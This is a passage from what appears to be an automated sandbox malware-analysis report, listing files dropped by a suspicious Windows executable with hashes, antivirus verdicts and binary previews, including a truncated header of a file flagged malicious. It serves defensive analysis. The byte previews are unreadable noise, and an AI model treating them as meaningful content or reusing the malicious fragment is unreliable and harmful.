SHA1: 6E53AFDE56C036BEA38E33A4F659B3F9D023FB0D

SHA-256: 5F592F8A2DBDCA9B9B99215E436736AC0CFF8D99C704956DE4459B9293FE18AE

SHA-512: 0AEDC27DE2947A3B4E168711A70B698B84C9F5B6C410B43C34EE948C76DCD54B4FB05577738116984B3E64768249E75E51DFB76F3242349B11927CAEF0DD1396

Malicious: false

Preview: MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8..

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 448512

Entropy (8bit): 6.871671315027243

Encrypted: false

SSDEEP: 12288:7mDzFYoqpubP85HDjsV6th1Uevo6wgQnzQ5mF8Y:iDzuoJbk5jj66thKQLZkaY

MD5: 2F3D0323BA962334EF87ED098AD02289

SHA1: 5B4C70E331AF83EAF384F45A01E322B094353375

SHA-256: 12A51367C5C85FF3C1DC73743CFACE2E01ACCECF2879A36ADBDDF566D52987B3

SHA-512: 1E33ACE1068F614BFAC35AA67733C2806328B586BE273A611409DF87BE03C5EDC9E312AB213004C8FAB71453EF5E34E474D9273C4A97D95D135C18F440674AD3

C:\ProgramData\87748271858601039393839930

C:\SystemID\PersonalID.txt

C:\Users\user\AppData\Local\0ca24ce5-0f24-4ca6-b87c-11cb41906c23\build2.exe

Copyright Joe Security LLC 2022 Page 22 of 219



Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 37%, Browse
Antivirus: ReversingLabs, Detection: 81%

Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@|..!.[.!.[.!.[.s.[.!.[.s.[[!.[..i[.!.[.!.[.!.[.s.[.!.[.s.[.!.[.s.[.!.[Rich.!.[............
............PE..L......a.................&...~...............@....@.........................................................................$"..P...................................p...................................@.................................
...........text....$.......&.................. ..`.data....)...@.......*..............@....zonami......p......................@....yosozi.............................@....may................................@....rsrc...............
................@..@................................................................................................................................................................................................................................................
........................................

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: PostScript document text

Category: dropped

Size (bytes): 1369

Entropy (8bit): 7.870779255123382

Encrypted: false

SSDEEP: 24:yfq02uSERp4afFqY2M4ruL9BjcUc7220wajw7fg/mgkVRNYZCHbmNbD:v0l4aoM4rSjcUS90wBg/mhVR9CD

MD5: 9BFAB81CEBAF51D56E71241668CD25A0

SHA1: 005F21CDBE9428C5C2E12C6C3BD10F730842CA65

SHA-256: 7A54E4E4FF8126173B9D11C33DB9F45B28358927A7FD9141BC854E081DC61A86

SHA-512: 5A8A3D21960C26ACA2441EF62B847345CD04D4B81226901B40DA2605B999779E5B824B354243E247C03D23A3C2CEE9B19AF95E89CCA4587C05220ACAC5EB361
F

Malicious: false

Preview: %!Ado.n....t+ .vr...x.;_Pp.../..$.8.....y..f..4...(u..*...r._.P...........*....%c..Hk%le.}.V[..........[.. .....s.....v(.F.Q..I.D..a]..P.....V...{..q.......K.LT.#).5`g....iI.S|..;.s....C..".n...p.'...f.......U.
aQ__f...R.NT.~.q....f..(.Qq/...3<.".A....z%.V.3....$j...P^.Z.*.:nE|.#a..:.Q....9tP.....(uG..%._F......^9..0D....d\f.I......qY....:.....17..z....oIH..t.A..i..!..C.x..?O.w...}....:W..rkj..*........_....
_..ob.h...&.......8.*,.c .:..+.S............]..8....N...N.......n....D.0?..8,b.t....\X.',.......[.P....Zw.,.v...%!...xb!.Ef....W~......f..a@.lE9....=.op..-.q.@...2i..Um.,..e|.W14*D.......~..o..BK.h..h
.9Z..3b3Q..Z!g0..,...|......5E.-.!.......,...g"*@$..}.|..A;v.,..J..`?q2iD..6......x%..y,..l.4uO .._....../~.y.4.?.J.bS....k..>+K0..sr.....h.....&.vc.G..]..S.n..i.'..y..,..?...'... .V.o.b.P.#.z..].....
.cl.t?I...V...h{..o..~..R.KG8.,>..\s....{..R..`.........avH.4;.1..)c.4...[..c..P.G\....{...O...C../..F.....a..[jPw..ru...rd...'.....A....uH%R..{

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: PostScript document text

Category: dropped

Size (bytes): 80722

Entropy (8bit): 7.997860536210385

Encrypted: true

SSDEEP: 1536:Duus1zrIjnzUeH/PerHpFdHxY5o6oLairaBgrsZRwTWphXGb7AAYESs6w5CnYkd:yusZI1/ApfQsLXU5p9a7Aur5CnZd

MD5: CC8CAD33158DDBE6F8522F80098DB839

SHA1: 8839245AA512820D6C342116FB1F04EF0BF555CB

SHA-256: 22986B09E9CBA177AE5C3BA63B4A91A8A4F37BD479F97494C10B7762A8A7098A

SHA-512: 58A9B5FECABE0FADD94EB37630EFDB03BF84853B1085FA11247182212AA1B7A0AA3CD71DE8ED921CCC76DC01B849946979E45D755918020FF5AD649DE5E6C2
CD

Malicious: true

Preview: %!Ado.,[.E....#...v~.V... ..%.b2...6.nR......TO....Q...n....B.x.7^._.i ..D.......ct.R....Q........._.....k.m......y.,I..2n...u...I.g...m.&...t. .K...Cf6..Nn'..u..9.e..P.jD....]....+B."...R.i.;...6....... 
nIr.Zc.~j7d.g....g.=.#9....D.........U..DK....`mD.....BM..@..,.yw.f..m...G..;..DT..1.}e.mJRX.wm........6`.-8..6BuD....n.p.../.XK*v....b..9.....@z..h.z.7.yxknT..B{O.{s.2J:j..f......C.K...
.bw+.....)..:l..~..H...T[..o... ..' 4V............XU..g0..}eRT.O.Uz>`.2 W.8..W%..p..2o...3...*...t....:.h...<.v..I.O..&Uv...5A..5.... ..z..w.Q... b|.........7%|5..e..>......QB.....j........F..2F..`..d
.o..3............6V.N...0..*.E..m.....w~h@j.m..3..@.(P..........!.....U..k.'.......?....%C.. .4....iw....!.".ae#e.z..s..iT.tI./5Z~C.eb..vW:.r...i....D...PcZ.........S.....q.A.I....F..avx/..N.qyPi./..~
...b....}..+(.z..'..:..../`*|.Lz.<.P.]m..85....m......|.3a..Q....?.....N......IK.1.....Z.....:m$GCz...}8......sS.N7<[.j.\.7./..G..u..^2.nF....u..0'......g...Ro.Q.o%.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 203027

Entropy (8bit): 7.280109989979609

Encrypted: false

SSDEEP: 3072:18uc/mqAGJhb97Njbse3uwshhR2ayNbT6ZwKjJAx+yP4+h:V4mqAob97JJ+wK32pT61Z4

MD5: 8B19CFFB20FCF4D8C86A6B2EDC91A510

SHA1: A5253CB7A3EEB2BDB220B632B8395371A1D03FEC

SHA-256: 18B4EDDCFA7295D0346964B1E23DB375CDF2EB19E6D81961ECA67C61927E8B90

SHA-512: 496AE5582B121D1F12B205486911ADA797C03CA08F6BB2C2730570F27C5478C6D2D29F3EA833B24C920CABF0918AA467789A9E2C59CA48564F16589098F1E8C5

Malicious: false

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt19.lst

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt19.lst

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat
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https://www.metadefender.com/#!/results/file/bzIyMDgwM0VuWC1iUUNPekhNT0JrYW0tTHlQ/regular/analysis


Preview: Adobe..]...~%........T.F.2.:..E.Q.]....E..C..Y.0P.....xr...bQ..v...l.b/i...:......gY?>.;pN...L.}.N}.W......)...v...`;......|u....C."8.d@...E.).B.$..^.e...K.{29.s.C.37)....Z...........?.i...\.Z....&!..
ZO..............i[h.|......^~..$>=......Pg....UQ..m.B..&...E.Q..{.y&.i.\..9.`RC.J...o#.y..... [.q....];.....GA.........&.V..."..q/...{.J.N..3...N'_..~........q..&./V4a.C..JS..-......E..M..qNZ"........
D:...b[....?..\..e....)....7S.lHg.y..J..|&;....@g.]m..K.O4...8.)..<;t./.........^...`. 8.W..Z.X=.....W.*....)y.....;.+.+p.W.V.........."IF..=-.=...E]F-....)P.....F..%f..d.Y...=v.v^..U.Xj=.'....0...<b.
.j..J%.a9...1f_.O...RlqIC..\.%.&.=l.N.6.L0h..c._82)V| .Nu.J.IJ(...s7W....W>..x..j.<.>.M..+*...G<S.=..+..{..}..c..g..w{.H.'...hd.+..&..l.^..U...@...$/wD..ZWLM.k....<...;.....R....kv
VoIf/E.h..~7........8.z..K._....n..E.y8...|-.ld..$Q..<!.....DB.../..'4..t`=/GN..KP.<.0...3...O.$i.N..F.......... ...>..DQ....A.....Nj.c.I..Z)....H..WL{Y..3.....n....o

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 32987

Entropy (8bit): 7.993987227355717

Encrypted: true

SSDEEP: 768:h/azVSqGlOzlwPaJcOthxDgz4RjUbaYZMZSpc36Ke4lxll9d:B2VdlLlDxDgz4RSZMoyf3fll9d

MD5: 0CC3B25630BDE55B95A97C70F8585035

SHA1: 48EE239997C4E9AFF7B7D232E231333D384A71F1

SHA-256: D21516CD75995C657EB5FC4326D30CAF5143C4C2F0B376CDCD9EFC4C68FC2195

SHA-512: F539E60ADA90BB2A37A53894A0A1C088C5055CA5EF5033F51CC1B7984B5972ADFF02A9B9693C95EB96163F0F0A6DAD37D921E286CD2653CB1B77B9D054306F5
4

Malicious: true

Preview: 4.191.&)..O#/..N....p(.bA.(..O...:.kC.}g@.........HC.`../g...\..q.-..x..#...).-.5(..j..(.........2....IR4......S!&*7......zV'-8..3L-D/.....%.>V...k1vw.-....jH.V..$\...g...h.l..|.qbm..N.G....
v.~\..z5..".Y[.M./._......j2`p./^w.0"|DA....h....UN4qX....#..\y..nz.Y..kq..?<..a...7.a..>#...B........W.............D...J.Q<..B*K..U.0ml...t....-..w.....VT......d..........TVWi.YS.d._...T.D.
~.`.60.u...N.V.{&..W6...0...C?.2.`.y..Q.K%.0.:..........:.EDf.h.Q.....ce..........<...c...*..l.jI.V..P..VL{..%M..A:...{D.I.'....i.oKt.}...ie.5y...iH..}s..q5i#p....K....D..:c...Y=...).Wcu......*.^..7:.
ta..."y,/9..T..C<.....F..%b... .N.R......9...o..(.@.... .|C`m.*4.&.x.....$G.%P...^:z!.{h...%.(CQ..[y.t2A.;......z..28$.OG..d.U...._.cm...'..f..E...}...A.T~F|\..5.YW.wp.....vL......f.l<.n.'-6
..3.....G...-o...aS.....c.s..i....e...,..i.....w7...&9v..3T.p...4.&...y..<.C%\....=.....R....].....2E........Y.fw... "b.p.F....].....~:..)..@K....K..8.*.X..#.#.4...}..1..=....5.}..>.I|Wj

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 932

Entropy (8bit): 7.787810783480424

Encrypted: false

SSDEEP: 24:hJN898qbfYKsiVl6efJN6gqDEl1xWs0i8NbD:hJNq8qbfFs8l6Y2DEpWsT8D

MD5: D3A36361E816D289C2C01DF4873356D7

SHA1: 8C0A55F895F5FB430A5142216452E4A538598A10

SHA-256: 669ABC11BE860F45F9E5B416CE45BB317516735628F9508D55DCBEF177B0F99C

SHA-512: 47A2496D17D81CAAE0374CBA58C2E3CECD5ED1CECF3AA3EB9EF199AAB0FF036C32B163B42154B93CCC03328275665B895D6A08057FFA3C09C9B5B291C37DC
9B8

Malicious: false

Preview: CPSA..tB0.=.-\..W...Xw..:.t..R...=....7+.e... ..=./..!..%......0...f.f.:xR.A..S...%_v....T....{/.D.20.Ssr.R.f...Y..;.d.@.4*V...Q...F.3=.j..fzN?...I..."..:.s*_...m[C.K...#....'@..l.9.....I.$&
{.X.9`.g..}.<.,;]+..<..i}*..U^O...<.J.YS.m..w.0....I*!........9....f.YeZ.p.1m...C...Y.U..jR...,|g....Zfgz..f...#.<d..h2..I.....ca.....to.W..,p.g.....c.....a..Q..t..x.....$JN,.g..<..6=......l65D.2.....
.)...VA&p..0..hLVh.c.....$yR..-9.j...R.f`....@......=.k8..u..H|.qV.K\|..."...Oe+.....C(.5OP..U..Z...f..s......'...1.2.....`..c.?.W.8#P.....].y...?,...}...T.tG4..=.s8.....L.@...K.S..Ou..F..h.
......^......0.."]"..)..........{../>P..<......6..\..0...9._.!..R.Wr......\.HQ[m..i.!a......A..{!.i(lkd.d...F.:*,.Y.>.b.wcR...],+.....$l....Mi.+....Q|boz.B._L..1..(....9....5..].pQ.n.MH\.....fKr.b@~..
?;h.J..9f.HZ..:.X.I.Y..9`...*..+MzCJ0Qyak6RQYKiwWrih4g2RGLy00AdNJY7bznA8{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 8526

Entropy (8bit): 7.9779287079171155

Encrypted: false

SSDEEP: 192:TJdm5PntHBSrpz8dm/moLJR4l29MGs1YeF/pei8O8I:TK5PtHBSFzam/moLi29MQeP1p

MD5: 16D8BC1AE78F818AE857216B6EF70103

SHA1: 63E7C3DF1761D6EBDE6E0523ABE45E1E16C70123

SHA-256: C452548586BCEDE0A5B980A8C91AAA7DAB4E605F8384B23A6823BDDE98513C9C

SHA-512: 6ECC5432F02BA6BED23B1F040F13AC31DA9B7186286F450C7510B3F9BB2C0050C3D6A117B805EB74812CD41606E126B297EC61E67F2DC792FE8CDD8B5309322
6

Malicious: false

Preview: ........,.Q.g...Q1..c..+...s....<,..T...H.Y.1Id.o...%I.KZK.!.J...e7.(.5n6.m....Q...>S."..+I.'......,.T.a..#7.)\m>..Q|d..OY.L.r..D..x....;......gR..[.D..b..0..h..+D...-|.7Xy.._.<L.v....T.1...
e...a\..)(4v!.... .[........../.._.n.[..~.Z.%P..@d..$^&.h.......I....1i.?.._[.2..5.....M.0_.|<".H8m8.VI.Q..m....T..ao...b..B{[.....:.|.......:.. ...@.......g.k.|.x/....5Y..W<......Cvc../..r..\.......q
.}fi5X.`.e$a.........G-....J...c. .............?;..,...<.z...z.M...E.....k%Y.Ygh.p....z..[KRC.[...d..,.7F9(.....X.p.V.31...J..'c@....r..w&.c.+.)...4..L....|.A...B...w..S./........;x...D....s J.@..J.O.
8Y.95.u.;.z .$.....d.P.R.....7......5{.*.....%T...|O..3.o.r..*..C.P..0...z..,...}..;.F!..G&......53..9...u..#.j.p.]K.`|"RH.......<..9...]i..^.....++..w.3e...a.>....R.......J...v..,h.*U.>ac.`......\{..
.=.Qf....+E.vY......B.g....FGc.9.......2.`...E...`.*.yzo..3.A.<...A_.F.zj^L.;?.s..Z_'@.......W..K...N^W...g.Y.%....W;..B....I.Vc6UNL&...k.r.~q...(.....q.-...j.......

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin

C:\Users\user\AppData\Local\Adobe\Color\ACECache11.lst

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jcp
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Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 3146062

Entropy (8bit): 0.6703908671361013

Encrypted: false

SSDEEP: 3072:7OfN8Mxflds5+eaZkfmEvzJdz+295+cTdw3Brih4eztVCi8lLA3:7Ol8MxflrZ6fr1dz/8TF7ap3

MD5: 60EE1C8BBF7B2F909C4B8CF007D985EB

SHA1: 3412CF9213FF314F84F2F64FBD97DD4B1DC9920A

SHA-256: 33D910E4219D92B0542F55AB3A866879C46FC8CC1BFF02B910FF563CB29D4B5F

SHA-512: DD841EE5DB13086B4D5EFA648A30B11EA20B802BA8093183770F1367354134A1D27CB540E331966AF35AC47C6F41D53684A8DB7D060DC18646F0884203AD6BB1

Malicious: false

Preview: .......,.)....._.nS.n.+8A.M..b....s.L.SW...../.Un..V.=..s...q.....I....<.y.....v.(.QKb)W.... ../.J...Y...X.....~..m.....>...t.+.zk.....0..@iy+.A..zK.N~..:%.,K.'(.Z..n../I]...9.gY...^...#...u
....fE..~Q.wf.^....b.E.a.t..6o...f..7O:a..`..w.^.J.]L...4..-...J.AE...'LQF...{k....p.(.h.....D5=..%..B.....O......r..|.j...<.~........O...#./....~.e.`uA.@..s...F..Gw=....N.ec.O+.tH...Y.)y..b
......M..c.........6X..{0..`......W.......H..I....8.4OQ.Md........$...a.I}Bq|.}......C.x..pn')...vJ..kZd.r.EF..tavuI].".....S..2S...6|..5.E.....V.....0.R.*0..$?T.>q.R..lZ=v.w..|.t.T*.]_ZO..Y
..a"H....k.@....g.#."......-...YAt..-..T.....IB.0%.a....@..W...........~.~ou..{..f....?=)...].05dl.....J<.u.4J.st]....q.eW.~..r...] Q.8D.Q...Egt4nS7.~.]N<....m....J_.L5K...%.]z ..s..Jog.."..
}...A...3.N8|...GS,.r.....w...V.7.j..6W.B.. ..j.@.o..X....61..9K....DQ*..q....cA<...v&..:09...@.P.4......jej.>'.......}....Yj....0..;.Cmf...?..VQ..."..<.0........0....y..xr/....?K~.|:...bd...@.

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 3146062

Entropy (8bit): 0.6705158702267017

Encrypted: false

SSDEEP: 3072:/qUpVOauKweCPkNhsTFQwjoCPw1JNKaTGLXtWt3DBbueDmj9/bN:/BaKwerhSQw8CPw8a6XtqzBStRp

MD5: 5CF68448B400B0D5EAA276BD367E17B0

SHA1: F387CDE1ECC7DB0A4492D61AD8B5C33298DE2659

SHA-256: 2338A789546B17042743DBA61CA68F2CF143202C9FB98B10B152FD302C94CC62

SHA-512: 8B39DA89BA84B6DAF8C0448F5E5501994680BDB6BB7201D914DE2CCD995D258FCFB254A3B3D09CFF1128FF86491F32EADD222FAD515E6FE7A6DC9B481ED1B
D41

Malicious: false

Preview: ......>.K.......... .3..P.q.(.;....%T..._.f+.../.qr.@..XY-..9P%]......^...../ ~.y...93...........4..=...^...2....*(.I... 3-Y.y[.o.Y0...i*@...Y(Tz.........\t..F....^....O...kV.......I.e..6..%..2..p.....L[B.....}
..EE..].pS..I.=......o.>Cs.9.....'..$..@A_U...K..2..!.K...llV.Q..Q..j..{T..U.|....X..p....V..I...1U6..&1..c..w..=,...m..O..j..Q..B#@%Y.O.h..W.h..2..G...u'...;9....G.B.....IMk.....~.hp.n....l
.06Li..%L.$.........].....#b@..$.V....l.{Q...iDl+.....!...+)~.JG.....!E.d....sy..Tz..y$..n.e..Q...g.`C........[#....Ou[.k.:..5D....n.1 ....].........id.gL.Q.J.X..............X..W...<....[+..l....yc..t
..6...$aZ..%...G,U....F..W....`..5...i..2..^.|..[..s(....4..5....LC...._...Z.:..?\.Nc.{0.......&ga..#....Ny.......%z.k;G......:e..n\:.....k/..n5...d.9+;j.s..H.m.M..AX^?....[....8..2.4$..=J.......`r..l>k-
.ej..+...5.o..b..&..i9..@3~.-.Q.l....bS..F..+J.0'x.S::.b.E..5....l.....x-`.I...z.j..........TJ..S..+.@K.j.+.....7.E..Y..k......>..D{x..q&H..L.v

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 3146062

Entropy (8bit): 0.6706597508402564

Encrypted: false

SSDEEP: 3072:98PJ/8nIXa2Nd9+qOrnzzF7gJYJGKzS91hgoqPEvqUMVXf+PydV5OA9Gaz:ahCga28rz2JKzS/xmEqbVXf+y4az

MD5: 9877BF223E9B11538E9C636A20D7EF03

SHA1: 2E5B7317AF5B08D323D334E2D21AD14521C18DA4

SHA-256: 75E32A3220864A30282C7687F486CCFFC088E1919235A105812EE26614C7C7A8

SHA-512: 84B9586BE3C2894F52D0748A8D4EE2040CB575E27315C6F800CEB6DBC499376E6B2C62A511C2CFD3B86B6A9460732A70C51DA87A784CA443CB0BDBAF69CC5F
59

Malicious: false

Preview: .....:a..1Y..........V.u..Rf(../Q.N...0........)....mB.]....+H.)j...M>..R..8..ls.ue...M.h.....!....0c..a.R.%n..'...*.J.J$P.=...5...>..m....x.....:..4.k'`..]sJ...`c._]........J......Vb8;......z..Q^lB..
......Z.`...*....c.&7Q...L.H..HC.Y.%..t5..-.....%.....PO`*...*..Xv..sCf..a..Co:T...*o.2.......I~.X..4Z..UX0+...Y;.I.....:...`3..d..)^hj..c...wa2...a(....x......;r.2.:29S..mP....$.~..o.eG.!..
..CB./..Z$jV.@.......$@.......'4..V....=.VI...Os4..~....e~.j..6.....Y....O;...V`Zr_xj..(.p'._..*.2.z....%. K..i.~.K.....A...a.=~..qS.....i......../bb....%.H...n.T.".r.1K.V(...J.J... .j./.,e.R...y.....
...Y.w.......].)........1.f..=.....p=81..Oa.....W.i..J.f......~=I.~..E.*U.Eyk....B.[.....0.7..B...'.42...l.($.N.sk..4..V\#..K.|......"....C..f...o?..6$.W.m....a.G4.{..rqaOZ0......kSxSm}...........F.n.
MF..-.`!C..hP..Y.....)..8n]....'Nf0.,s.I..M.....b......W.j....k.o.'U...I?..A.O.A...MWC...`..N.^....I.#.b.P...h..>.qx...)..U.l.n..F.]....H/.&2.v.z...;._l.%.$..W

Process: C:\Users\user\Desktop\2OmglUwx83.exe

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs

C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp
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File Type: data

Category: dropped

Size (bytes): 2323

Entropy (8bit): 7.900698533531421

Encrypted: false

SSDEEP: 48:IjzQH0wEUs4gUdwY/Myvuy65NS6855WBwTQxPYrqptBue4YD:0zQdEUZgaMb25hTQBKq3YjE

MD5: 2D799F0E5F8463020C8401ECFFA143A7

SHA1: 4E157C3C9C7EEEF1AAC78C7BFE765D20C7CBA836

SHA-256: 478ADDD32E054BBD1B4B8CE4F69BA5D8DB044C163D3A5D6D1CA6B5489D67053F

SHA-512: D33D3FD0EF5C6E5EDD15BDC940C7288B82691B7C5ECD6ADEE164C7C4B43A8E00DFF3CE3CD016143413CA2C0E855E49D5039C602CD839E0067F863B700B40D
F0C

Malicious: false

Preview: .{.O...$.8...Lw....z=D[&.?.A.e.|E....OO.....u~q....@.whh....>5.....y..p<F.Q.<..=.1..I.:......[.....["L.d:. .(0E.#.P...$XW.u{...xJ>.....>3...C?c..x.:1&)b....g...!.i.H.[..&..e...:.1..V9.6.K..i.c 
...&.Y\.V.....j..S..)_...5kU?/.].!...g.8X6i.U....r..0.}^.w.......4.k,P.I....b.Z.>....Se+].a.Ay..K3..W`....G3c.Q.u..nD...."[zd...?.s...e.O...f.P+.......+.A.M.V..wY.d.....(.5an.X.&.L4B..O&k
.c..D.#...{Xe....,.Z2..3.4.S..%^[9.X.$T.a.......pb.Z.M..d..~.d..W+............HJ.P4.@..}~i.........*zm;.b........g..B#.s.JQ...._....$.I..t.d.".$.C.<9.......?B.o.I...?D...R.M.Q. O.A..........
)...9..eS....o:./..-e+s.t.".h.)......0.t......P.\,.uD.5z...m......L.Yi3.8..7z.-........o5.X....g.>....X.J<.?g.....(.....#.u../.X.Q..%..^..a..".c6A.X..e..U.K..`.,.....I8..}....-b.8...../d.!..1H.^..h..=
m..o$.?..8...(.......Q......?J.3..*..Y5.i..`bb.0..Wq.<.M^._F....P.y..XQ..6A.......Q.4...G<..D...........2..wf!....|Q.Apt...h0..[..2.B...F.a.....Y.s..[..Bq.b.H5..~E..J.@.]).op6...{W

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1048910

Entropy (8bit): 1.768859175184164

Encrypted: false

SSDEEP: 3072:OqXxCF25aG0IQHA76HqqgkOqfoB5ZdjPCQ15gmkWog1:hXYFRG0IQHA7v1qwB5z110Woa

MD5: BBD41FA69FA01560D6A5AB2ACD06696D

SHA1: 28D5FFA34668E7541825BFB03FC9D375A023C4E4

SHA-256: 499778B6DD5C6DC4FC233FA1734D1E5C8B1A585FED99141DADCB18A9F2EFCBD0

SHA-512: 614C8AA43AB93D4D7BC0F48471F91F45A71CD5CAF5881A00DF970D860EB72BD13CF2ECFFE31DF04B6139F2B89D7DC7ABFC8C011E181BA410B04250F25A3CC8
D6

Malicious: false

Preview: ...@....oT2PyT....9x?!._.....h..^....(RTuh.dA...x.?...c@E.}.>...0./..c..R.....s...8....ScW*.,!6....H..J..T..Y.kk\.e..3$.<.t....@..*._...^H......4..P.|. ].qw.t...=<.O.Q..l@.*.......;e..A....1
0g3).u7.|.V.3.{;.|...[pF.Yv.tX.......>^......W..+../.e.m.{d..-7S'............!..x......T&.{...N..T..';.i........J.e.G/......0.$.....9...n3....>.Y.....y~6Y....M...}.QF......^.'.........._;......7.C..W....../...;
..Y.H.<.j!..Sw..... ..O..GB.a...g."f..]......\.A..M....1...^......+.kU.PO).........%.....P..n@.U..d3.....TO.........|D....*<K&.%rA.]K(%m|.4.tm.L._......6./........H.o)...Lg.-.{Ap.F.....9.y..
.,..Wx..~..}..(`X.I.3..=V...b.~\r.....KLZ...8. %.\...2....!K.T._...L.>$vM.42.....r...C.*.u..U;.BO...^N*T.1....}.^.i.S...P.........O.H(O.EKb7.|HO.D..i.....GC...{...>.~....Y....e.y.BP.%}..I.S.
......;w#.../.\G......Q....?.ci...x...^.c....yrT.g.l.~.......G.v51......[..[./....5`(.......F.....&.[...I.b..6u7!...u.r&<aE.B...t...!....T..y..t..+.g..[..(Q.j....1).....

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 1048910

Entropy (8bit): 1.7690924604616287

Encrypted: false

SSDEEP: 3072:RxFaGLDFY36le9ZPdHBbvBQ3a5QcUho2gOob9tDwf0LHfSqplvCzSv8+7:PgkYqlebPdhLK3aethynbvZfSqphbUc

MD5: C473D14238B32D626292CCD3102C9FB4

SHA1: E01BA1B83B53D85DE4FF029B02EDF9861527305F

SHA-256: 0A1CCB508F1D56BD2FC502F3F18686EA2E71444C7142C6A3F437179BFB615E6E

SHA-512: 842C9116502A9D85F322999F2AF59AB851FD289081AA6C78E621205B67A039229868A1664057CEF94BB1AC5FA09F8A2024FD54691F537B4228770D50EB2E8504

Malicious: false

Preview: ...@.......;........].4.1....3..%.4.......T...V.^...]...G=8....W.|.cr\.".r_5'...C.n..wx!.xV.^.[X...Y..Z^..F.g.<...)6..)......sh.>1...,...Nr5.........pm.B.....'.I.#....7Z...!..V...Q..R.jM....t.......H.
dQ..h+2;.(..-K.......4.6q..9.u<...~ ..rB.cz....g.......G?..-.......-..5T..)....8..iC............2.m.`....z...r+...O...3.z..?...@.V..G.. .D?.1.!...."..ud...`......!.....?]....# ...FAt.FZ#.h..EV.&s...p.
N_.3.q.O.oP...=.(...z.Q&...hi.d.E........X...p.gF^Fh...'.j.}").P=.........c@...iD.X.9Y. .[.s...o.Y.Q4Z.....+..c.<d.L.....k..l...zSL....!.h.\.K.T................4[...>..&iOo.?....F/.\.;|0..,[M.,...`8.=
....^.~.H....AB..sR|.b3>Xc.m_#x.....`.......0....YBl.O.f#.u.z.z...bX.hs..o..9..O.s...}..... ...|...;..tTA....'.~}H..7{...UZ..f.^.(.n%.nz].-.....V......H.z3..(c...|.0...>.....w.sqW..qi...5w..
...ON....o..]....[.(fKB..bA.......518P..?8;..2.7 .O...h..]w..........!2'a.."4KH7q[..s+...2^.%I.3g!...X.<..N...i2}.az..:_.....Fj{.%.|.1....{.v.$......47.L..B.../

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 16679

Entropy (8bit): 7.98922102787355

C:\Users\user\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-active.pma

C:\Users\user\AppData\Local\Google\Chrome\User Data\CrashpadMetrics.pma

C:\Users\user\AppData\Local\IconCache.db

Copyright Joe Security LLC 2022 Page 26 of 219



Encrypted: false

SSDEEP: 384:16WXbq9R129NFSxgS0QVaFHI6x2WSWUTariVCQ/LF4Cn+rmNP42x1+6d:tXe9KnSx1kHDxSFSiVCQFn+cP4q

MD5: 451DEE0EEAC953A35149F202AF969751

SHA1: 520C319E50F6DD7C1266A5CE1B8932991F4DFFAF

SHA-256: 538B5B1A589F3E9EA9DC63B0727432A1BEBED2E8345281F3C49B509879030D88

SHA-512: 07689E334FF23907647E2D22F57AE74A71E8C60E96CC6FD4A40EF0589AAB542060612E15D36B8BF19321A9188DC30126394CE64ADC4ABF3FB6B87E4DD599DD5
F

Malicious: false

Preview: H...Wy.;w.g....4{...)...[2.cg....'|}..|W.l.U2...6.(vW.|..R.G.=F...].Vm.>.....g..nY..Q..N..U...7....1.R...#..gb....J.Lx1..Ve.k..WS....V.....t..:.Z.K70..=f~.....%.....Q...P....|.>6..a.>.-.b...
.x).M{IiRyR..A.]y. ..5.P.........b...w..._E...24bcni..V.%.y.G.%....o....~.#.G......0.TWZ..gIQ.w..P24}..E.~.X.q.#....RO..U......O+........A.3.m..U!e.C.VH\....6.4/v..u.7N-g.l..B......&#.
<...O..........a.*i........e.j.....X..q/.......D...h...Le."...G.&)....{...."N-Y.n...yG..A.]../...;>.....)[d.k.`N.\o...'%e...Q.F5\.....+_.T.3..z...B.1uD.t..A..Q.+W8K.]q...]....r.\.*  ......t. .hD.\..}1..m..6
..EZ......c21+.3.Z.....<w..s...)._..0S.$......q.i.Mm..n...ku*.#^.). .Mr...S...T.....W...1.?..A......VY......vj..&\..........v_...`44........t...V........\.m.$.]k&,..p.4.....s.&dhy.........%8.......<.i
....e".0.<...]..@.V.0..[.|..xd...x#/.......J..t!-.".+...!..>_[.)..L&.[.7...W...k..'&<...>..:.6o4..6.8.a...)..js.W.m.......}...=D.I....[..\...,.SnV......|..k...L$..AwTb.X}*..:..

Process: C:\Users\user\Desktop\2OmglUwx83.exe

File Type: data

Category: dropped

Size (bytes): 722

Entropy (8bit): 7.684095545632399

Encrypted: false

SSDEEP: 12:QdpQbSo6mZhd2/S6ndhCfZnHFUQktDOAkP5F8fQE8lhS6s9bJHh8Jce7OJ8Y8dP7:uQuo6SwSEdEjUPOAkB/J2xtHh2eX8dP7

